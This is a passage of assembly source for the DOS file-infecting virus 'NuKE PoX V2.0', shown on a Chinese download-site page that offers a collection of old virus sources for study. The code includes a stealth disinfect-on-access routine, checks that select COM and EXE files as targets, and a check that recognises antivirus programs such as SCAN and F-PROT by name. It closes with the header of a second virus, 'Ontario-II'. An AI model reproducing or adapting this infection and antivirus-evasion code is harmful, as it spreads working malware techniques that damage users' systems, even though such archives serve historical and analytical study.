⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 npox-v20.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
                call    calldos21                                          
                mov     ah,40h                  ;Write first three bytes   
                mov     dx,offset buffer        ;from buffer to COM        
                mov     cx,1Bh                                             
                cmp     word ptr cs:[buffer],5A4Dh                         
                je      dis_exe_jmp                                        
                mov     cx,3h                                              
dis_exe_jmp:    call    calldos21                                          
                pop     dx                      ;Restore CX:DX which they  
                pop     cx                      ;to the End of FILE        
                sub     dx,virus_size           ;Remove Virus From the END 
                sbb     cx,0                    ;of the Orignal File       
                mov     ax,4200h                ;Get new EOF               
                call    calldos21                                          
                mov     ah,40h                  ;Write new EOF to File     
                xor     cx,cx                                              
                call    calldos21                                          
                mov     cx,word ptr cs:[old_time]                          
                mov     dx,word ptr cs:[old_date]                          
                mov     ax,5701h                                           
                call    calldos21                                          
                mov     ah,3eh                  ;Close File                
                call    calldos21                                          
end_dis:        pop     ds                                                 
                pop     dx                                                 
                pop     cx                      ;Restore 'em               
                pop     bx                                                 
                pop     ax                                                 
                ret                                                        
disinfect       ENDP                                                       
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;               Check File Extension DS:DX ASCIIZ                          
;--------------------------------------------------------------------------
Check_extension         PROC                                               
                push    si                                                 
                push    cx                                                 
                mov     si,dx                                              
                mov     cx,256h                                            
loop_me:        cmp     byte ptr ds:[si],2eh                               
                je      next_ok                                            
                inc     si                                                 
                loop    loop_me                                            
next_ok:        cmp     word ptr ds:[si+1],'OC'                            
                jne     next_1                                             
                cmp     byte ptr ds:[si+3],'M'                             
                je      good_file                                          
next_1:         cmp     word ptr ds:[si+1],'oc'                            
                jne     next_2                                             
                cmp     byte ptr ds:[si+3],'m'                             
                je      good_file                                          
next_2:         pop     cx                                                 
                pop     si                                                 
                stc                                                        
                ret                                                        
good_file:      pop     cx                                                 
                pop     si                                                 
                clc                                                        
                ret                                                        
Check_extension         ENDP                                               
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;               Check File Extension DS:DX ASCIIZ                          
;------------------------------------------------------------------------- 
Check_exten_exe         PROC                                               
                push    si                                                 
                push    cx                                                 
                mov     si,dx                                              
                mov     cx,256h                                            
loop_me_exe:    cmp     byte ptr ds:[si],2eh                               
                je      next_ok_exe                                        
                inc     si                                                 
                loop    loop_me_exe                                        
next_ok_exe:    cmp     word ptr ds:[si+1],'XE'                            
                jne     next_1_exe                                         
                cmp     byte ptr ds:[si+3],'E'                             
                je      good_file_exe                                      
next_1_exe:     cmp     word ptr ds:[si+1],'xe'                            
                jne     next_2_exe                                         
                cmp     byte ptr ds:[si+3],'e'                             
                je      good_file_exe                                      
next_2_exe:     pop     cx                                                 
                pop     si                                                 
                stc                                                        
                ret                                                        
good_file_exe:  pop     cx                                                 
                pop     si                                                 
                clc                                                        
                ret                                                        
Check_exten_exe         ENDP                                               
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                    Call Int_21h Okay                                     
;------------------------------------------------------------------------- 
calldos21        PROC                                                      
                pushf                                                      
                call    dword ptr cs:[int21]                               
                retn                                                       
calldos21        ENDP                                                      
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                    MultiPly                                              
;--------------------------------------------------------------------------
multiply         PROC                                                      
                push    bx                                                 
                push    cx                                                 
                mov     cl,0Ch                                             
                shl     dx,cl                                              
                xchg    bx,ax                                              
                mov     cl,4                                               
                shr     bx,cl                                              
                and     ax,0Fh                                             
                add     dx,bx                                              
                pop     cx                                                 
                pop     bx                                                 
                retn                                                       
multiply         ENDP                                                      
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;               Check for AV file... Like SCAN.EXE or F-PROT.EXE           
;------------------------------------------------------------------------- 
Check_4_av              PROC                                               
                push    si                                                 
                push    cx                                                 
                mov     si,dx                                              
                mov     cx,256h                                            
av:             cmp     byte ptr ds:[si],2eh                               
                je      av1                                                
                inc     si                                                 
                loop    av                                                 
av1:            cmp     word ptr ds:[si-2],'NA'                            
                jnz     av2                                                
                cmp     word ptr ds:[si-4],'CS'                            
                jz      fuck_av                                            
av2:            cmp     word ptr ds:[si-2],'NA'                            
                jnz     av3                                                
                cmp     word ptr ds:[si-4],'EL'                            
                jz      fuck_av                                            
av3:            cmp     word ptr ds:[si-2],'TO'                            
                jnz     not_av                                             
                cmp     word ptr ds:[si-4],'RP'                            
                jz      fuck_av                                            
not_av:         pop     cx                                                 
                pop     si                                                 
                clc                                                        
                ret                                                        
fuck_av:        pop     cx                                                 
                pop     si                                                 
                stc                                                        
                ret                                                        
Check_4_av              ENDP                                               
msg             db      "NuKE PoX V2.0 - Rock Steady"                      
old_time        dw      0                                                  
old_date        dw      0                                                  
file_handle     dw      0                                                  
jump_address    db      0E9h,90h,90h                                       
buffer          db      90h,0CDh,020h           ;\                         
                db      18h DUP (00)            ;-Make 1Bh Bytes           
last:                                                                      
seg_a           ends                                                       
          end  start                                                       
;==========================================================================
;========================================================================= 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
; 1024-SRC Virus (Ontario-II) by Death Angel                               
; ========                                                                 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
;                                                                          
;This VIRUS was only written as an experiment to see how far a computer    
;virus could go through development. This pariticular virus in its present 
;form WILL NOT do any damage to your data or go off bouncing a ball across 
;your screen or play Yankee Doddle, IT WILL ONLY infect programs.          
;       

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -